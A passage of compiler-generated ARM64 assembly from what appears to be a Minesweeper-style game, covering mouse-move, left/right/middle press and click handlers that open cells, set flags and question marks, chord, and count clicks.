adrp x9, _clicks_15@GOTPAGE
ldr x9, [x9, _clicks_15@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB39_13
LBB39_13:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
adrp x8, _onedotfive@GOTPAGE
ldr x8, [x8, _onedotfive@GOTPAGEOFF]
ldr w2, [x8]
bl _do_chord
ldr x9, [sp, #8] ; 8-byte Folded Reload
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
ldr w8, [x8]
str w8, [x9]
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str wzr, [x8]
b LBB39_23
LBB39_14:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB39_18
b LBB39_15
LBB39_15:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str wzr, [x8]
adrp x9, _rilian_clicks@GOTPAGE
ldr x9, [x9, _rilian_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
adrp x8, _no_rilian_clicks@PAGE
ldr w8, [x8, _no_rilian_clicks@PAGEOFF]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB39_17
b LBB39_16
LBB39_16:
b LBB39_24
LBB39_17:
b LBB39_18
LBB39_18:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
adrp x11, _l_clicks@GOTPAGE
ldr x11, [x11, _l_clicks@GOTPAGEOFF]
ldr w10, [x11]
add w10, w10, #1
str w10, [x11]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB39_21
b LBB39_19
LBB39_19:
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB39_21
b LBB39_20
LBB39_20:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _do_open
b LBB39_22
LBB39_21:
adrp x9, _wasted_l_clicks@GOTPAGE
ldr x9, [x9, _wasted_l_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB39_22
LBB39_22:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str wzr, [x8]
b LBB39_23
LBB39_23:
ldur w8, [x29, #-4]
adrp x9, _cur_x@GOTPAGE
ldr x9, [x9, _cur_x@GOTPAGEOFF]
str w8, [x9]
ldur w8, [x29, #-8]
adrp x9, _cur_y@GOTPAGE
ldr x9, [x9, _cur_y@GOTPAGEOFF]
str w8, [x9]
b LBB39_24
LBB39_24:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _mouse_move ; -- Begin function mouse_move
.p2align 2
_mouse_move: ; @mouse_move
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, _cur_x@GOTPAGE
ldr x8, [x8, _cur_x@GOTPAGEOFF]
str x8, [sp, #40] ; 8-byte Folded Spill
adrp x8, _cur_y@GOTPAGE
ldr x8, [x8, _cur_y@GOTPAGEOFF]
stur x8, [x29, #-32] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
stur w3, [x29, #-16]
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _is_inside_board
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB40_29
b LBB40_1
LBB40_1:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_3
b LBB40_2
LBB40_2:
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB40_5
b LBB40_3
LBB40_3:
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB40_5
b LBB40_4
LBB40_4:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_9
b LBB40_5
LBB40_5:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr w8, [x8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB40_7
b LBB40_6
LBB40_6:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [x8]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB40_8
b LBB40_7
LBB40_7:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr w0, [x9]
ldr w1, [x8]
bl _pop_around
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _push_around
b LBB40_8
LBB40_8:
b LBB40_28
LBB40_9:
adrp x8, _superclick@GOTPAGE
ldr x8, [x8, _superclick@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_16
b LBB40_10
LBB40_10:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_16
b LBB40_11
LBB40_11:
ldur x9, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [sp, #40] ; 8-byte Folded Reload
adrp x10, _board@GOTPAGE
ldr x10, [x10, _board@GOTPAGEOFF]
ldr x10, [x10]
ldr w8, [x8]
adrp x11, _h@GOTPAGE
ldr x11, [x11, _h@GOTPAGEOFF]
ldr w11, [x11]
mul w8, w8, w11
ldr w9, [x9]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_16
b LBB40_12
LBB40_12:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr w0, [x9]
ldr w1, [x8]
bl _pop_around
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
ldr x10, [x8]
ldur w8, [x29, #-4]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_14
b LBB40_13
LBB40_13:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _push_around
b LBB40_15
LBB40_14:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _push
b LBB40_15
LBB40_15:
b LBB40_27
LBB40_16:
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_26
b LBB40_17
LBB40_17:
adrp x8, _chorded@GOTPAGE
ldr x8, [x8, _chorded@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB40_26
b LBB40_18
LBB40_18:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr w8, [x8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB40_20
b LBB40_19
LBB40_19:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [x8]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB40_21
b LBB40_20
LBB40_20:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr w0, [x9]
ldr w1, [x8]
bl _pop
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _push
b LBB40_21
LBB40_21:
adrp x8, _nono@GOTPAGE
ldr x8, [x8, _nono@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB40_25
b LBB40_22
LBB40_22:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr w8, [x8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB40_24
b LBB40_23
LBB40_23:
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [x8]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB40_25
b LBB40_24
LBB40_24:
ldr x10, [sp, #32] ; 8-byte Folded Reload
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldr w10, [x10]
stur w10, [x29, #-20]
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
ldr w2, [x9]
ldr w3, [x8]
bl _left_click
ldr x10, [sp, #24] ; 8-byte Folded Reload
ldr x9, [sp, #32] ; 8-byte Folded Reload
mov w8, #1
str w8, [x10]
ldur w8, [x29, #-20]
str w8, [x9]
b LBB40_25
LBB40_25:
b LBB40_26
LBB40_26:
b LBB40_27
LBB40_27:
b LBB40_28
LBB40_28:
b LBB40_29
LBB40_29:
adrp x8, _cur_prec_x@GOTPAGE
ldr x8, [x8, _cur_prec_x@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
ldr w8, [x8]
ldur w9, [x29, #-12]
subs w0, w8, w9
bl _abs
str w0, [sp, #20] ; 4-byte Folded Spill
adrp x8, _cur_prec_y@GOTPAGE
ldr x8, [x8, _cur_prec_y@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
ldr w8, [x8]
ldur w9, [x29, #-16]
subs w0, w8, w9
bl _abs
ldr x10, [sp] ; 8-byte Folded Reload
ldr x9, [sp, #8] ; 8-byte Folded Reload
mov x8, x0
ldr w0, [sp, #20] ; 4-byte Folded Reload
add w12, w0, w8
adrp x11, _distance@GOTPAGE
ldr x11, [x11, _distance@GOTPAGEOFF]
ldr w8, [x11]
add w8, w8, w12
str w8, [x11]
ldur w8, [x29, #-12]
str w8, [x10]
ldur w8, [x29, #-16]
str w8, [x9]
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _is_inside_board
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB40_31
b LBB40_30
LBB40_30:
ldur x9, [x29, #-32] ; 8-byte Folded Reload
ldr x10, [sp, #40] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
str w8, [x10]
ldur w8, [x29, #-8]
str w8, [x9]
b LBB40_31
LBB40_31:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _left_press ; -- Begin function left_press
.p2align 2
_left_press: ; @left_press
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
str w2, [sp, #4]
str w3, [sp]
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB41_2
b LBB41_1
LBB41_1:
b LBB41_13
LBB41_2:
adrp x9, _left@GOTPAGE
ldr x9, [x9, _left@GOTPAGEOFF]
mov w8, #1
str w8, [x9]
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str wzr, [x8]
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB41_4
b LBB41_3
LBB41_3:
b LBB41_13
LBB41_4:
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB41_8
b LBB41_5
LBB41_5:
adrp x8, _superclick@GOTPAGE
ldr x8, [x8, _superclick@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB41_7
b LBB41_6
LBB41_6:
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
ldr x10, [x8]
ldur w8, [x29, #-4]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB41_8
b LBB41_7
LBB41_7:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _push
b LBB41_9
LBB41_8:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _push_around
b LBB41_9
LBB41_9:
adrp x8, _elmar@GOTPAGE
ldr x8, [x8, _elmar@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB41_11
b LBB41_10
LBB41_10:
adrp x8, _nono@GOTPAGE
ldr x8, [x8, _nono@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB41_12
b LBB41_11
LBB41_11:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
ldr w2, [sp, #4]
ldr w3, [sp]
bl _left_click
adrp x9, _left@GOTPAGE
ldr x9, [x9, _left@GOTPAGEOFF]
mov w8, #1
str w8, [x9]
b LBB41_12
LBB41_12:
ldur w8, [x29, #-4]
adrp x9, _cur_x@GOTPAGE
ldr x9, [x9, _cur_x@GOTPAGEOFF]
str w8, [x9]
ldr w8, [sp, #8]
adrp x9, _cur_y@GOTPAGE
ldr x9, [x9, _cur_y@GOTPAGEOFF]
str w8, [x9]
b LBB41_13
LBB41_13:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _left_press_with_shift ; -- Begin function left_press_with_shift
.p2align 2
_left_press_with_shift: ; @left_press_with_shift
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
str w2, [sp, #4]
str w3, [sp]
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB42_2
b LBB42_1
LBB42_1:
b LBB42_8
LBB42_2:
adrp x9, _shift_left@GOTPAGE
ldr x9, [x9, _shift_left@GOTPAGEOFF]
mov w8, #1
str w8, [x9]
adrp x9, _left@GOTPAGE
ldr x9, [x9, _left@GOTPAGEOFF]
str w8, [x9]
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB42_4
b LBB42_3
LBB42_3:
b LBB42_8
LBB42_4:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _push_around
adrp x8, _elmar@GOTPAGE
ldr x8, [x8, _elmar@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB42_6
b LBB42_5
LBB42_5:
adrp x8, _nono@GOTPAGE
ldr x8, [x8, _nono@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB42_7
b LBB42_6
LBB42_6:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
ldr w2, [sp, #4]
ldr w3, [sp]
bl _left_click
adrp x9, _shift_left@GOTPAGE
ldr x9, [x9, _shift_left@GOTPAGEOFF]
mov w8, #1
str w8, [x9]
adrp x9, _left@GOTPAGE
ldr x9, [x9, _left@GOTPAGEOFF]
str w8, [x9]
b LBB42_7
LBB42_7:
ldur w8, [x29, #-4]
adrp x9, _cur_x@GOTPAGE
ldr x9, [x9, _cur_x@GOTPAGEOFF]
str w8, [x9]
ldr w8, [sp, #8]
adrp x9, _cur_y@GOTPAGE
ldr x9, [x9, _cur_y@GOTPAGEOFF]
str w8, [x9]
b LBB42_8
LBB42_8:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _toggle_question_mark_setting ; -- Begin function toggle_question_mark_setting
.p2align 2
_toggle_question_mark_setting: ; @toggle_question_mark_setting
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
str w1, [sp, #8]
str w2, [sp, #4]
str w3, [sp]
adrp x9, _qm@GOTPAGE
ldr x9, [x9, _qm@GOTPAGEOFF]
ldr w8, [x9]
subs w8, w8, #0
cset w8, eq
and w8, w8, #0x1
str w8, [x9]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _right_press ; -- Begin function right_press
.p2align 2
_right_press: ; @right_press
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, _h@GOTPAGE
ldr x8, [x8, _h@GOTPAGEOFF]
stur x8, [x29, #-24] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
stur w3, [x29, #-16]
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_2
b LBB44_1
LBB44_1:
b LBB44_26
LBB44_2:
adrp x9, _right@GOTPAGE
ldr x9, [x9, _right@GOTPAGEOFF]
mov w8, #1
str w8, [x9]
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str wzr, [x8]
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB44_4
b LBB44_3
LBB44_3:
b LBB44_26
LBB44_4:
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_6
b LBB44_5
LBB44_5:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _push_around
b LBB44_25
LBB44_6:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB44_17
b LBB44_7
LBB44_7:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
adrp x11, _onedotfive@GOTPAGE
ldr x11, [x11, _onedotfive@GOTPAGEOFF]
mov w10, #1
str w10, [x11]
adrp x10, _chorded@GOTPAGE
ldr x10, [x10, _chorded@GOTPAGEOFF]
str wzr, [x10]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_11
b LBB44_8
LBB44_8:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _do_unset_flag
adrp x8, _qm@GOTPAGE
ldr x8, [x8, _qm@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB44_10
b LBB44_9
LBB44_9:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _do_question
b LBB44_10
LBB44_10:
b LBB44_16
LBB44_11:
adrp x8, _qm@GOTPAGE
ldr x8, [x8, _qm@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_13
b LBB44_12
LBB44_12:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #48]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB44_14
b LBB44_13
LBB44_13:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _do_set_flag
b LBB44_15
LBB44_14:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x12, [x8]
ldur w10, [x29, #-4]
ldr w11, [x9]
mul w10, w10, w11
ldur w11, [x29, #-8]
add w10, w10, w11
mov w11, #56
smaddl x10, w10, w11, x12
str wzr, [x10, #48]
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
str wzr, [x8, #40]
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
ldr x0, [x8]
ldur w8, [x29, #-4]
add w11, w8, #1
ldur w8, [x29, #-8]
add w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl _fprintf
b LBB44_15
LBB44_15:
b LBB44_16
LBB44_16:
adrp x9, _r_clicks@GOTPAGE
ldr x9, [x9, _r_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB44_24
LBB44_17:
adrp x8, _superflag@GOTPAGE
ldr x8, [x8, _superflag@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_23
b LBB44_18
LBB44_18:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_23
b LBB44_19
LBB44_19:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB44_22
b LBB44_20
LBB44_20:
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x10, [x8]
ldur w8, [x29, #-4]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
mov w9, #56
smaddl x8, w8, w9, x10
ldr w8, [x8, #16]
str w8, [sp, #28] ; 4-byte Folded Spill
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _closed_sq_around
ldr w8, [sp, #28] ; 4-byte Folded Reload
subs w8, w8, w0
cset w8, lt
tbnz w8, #0, LBB44_22
b LBB44_21
LBB44_21:
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _do_flag_around
b LBB44_22
LBB44_22:
b LBB44_23
LBB44_23:
b LBB44_24
LBB44_24:
b LBB44_25
LBB44_25:
ldur w8, [x29, #-4]
adrp x9, _cur_x@GOTPAGE
ldr x9, [x9, _cur_x@GOTPAGEOFF]
str w8, [x9]
ldur w8, [x29, #-8]
adrp x9, _cur_y@GOTPAGE
ldr x9, [x9, _cur_y@GOTPAGEOFF]
str w8, [x9]
b LBB44_26
LBB44_26:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _right_click ; -- Begin function right_click
.p2align 2
_right_click: ; @right_click
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _chorded@GOTPAGE
ldr x8, [x8, _chorded@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
adrp x8, _onedotfive@GOTPAGE
ldr x8, [x8, _onedotfive@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
str w3, [sp, #16]
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB45_2
b LBB45_1
LBB45_1:
b LBB45_11
LBB45_2:
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
str wzr, [x8]
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB45_4
b LBB45_3
LBB45_3:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [sp] ; 8-byte Folded Reload
adrp x9, _left@GOTPAGE
ldr x9, [x9, _left@GOTPAGEOFF]
ldr w9, [x9]
str w9, [x10]
str wzr, [x8]
b LBB45_11
LBB45_4:
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB45_6
b LBB45_5
LBB45_5:
adrp x8, _cur_x@GOTPAGE
ldr x8, [x8, _cur_x@GOTPAGEOFF]
ldr w0, [x8]
adrp x8, _cur_y@GOTPAGE
ldr x8, [x8, _cur_y@GOTPAGEOFF]
ldr w1, [x8]
bl _pop_around
ldur w0, [x29, #-4]
ldur w1, [x29, #-8]
mov w2, #0
bl _do_chord
ldr x9, [sp] ; 8-byte Folded Reload
adrp x11, _d_clicks@GOTPAGE
ldr x11, [x11, _d_clicks@GOTPAGEOFF]
ldr w10, [x11]
mov w8, #1
add w10, w10, #1
str w10, [x11]
str w8, [x9]
b LBB45_10
LBB45_6:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB45_9
b LBB45_7
LBB45_7:
ldr x8, [sp] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB45_9
b LBB45_8
LBB45_8:
adrp x9, _r_clicks@GOTPAGE
ldr x9, [x9, _r_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
adrp x9, _wasted_r_clicks@GOTPAGE
ldr x9, [x9, _wasted_r_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB45_9
LBB45_9:
ldr x8, [sp] ; 8-byte Folded Reload
str wzr, [x8]
b LBB45_10
LBB45_10:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str wzr, [x8]
ldur w8, [x29, #-4]
adrp x9, _cur_x@GOTPAGE
ldr x9, [x9, _cur_x@GOTPAGEOFF]
str w8, [x9]
ldur w8, [x29, #-8]
adrp x9, _cur_y@GOTPAGE
ldr x9, [x9, _cur_y@GOTPAGEOFF]
str w8, [x9]
b LBB45_11
LBB45_11:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _middle_press ; -- Begin function middle_press
.p2align 2
_middle_press: ; @middle_press
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
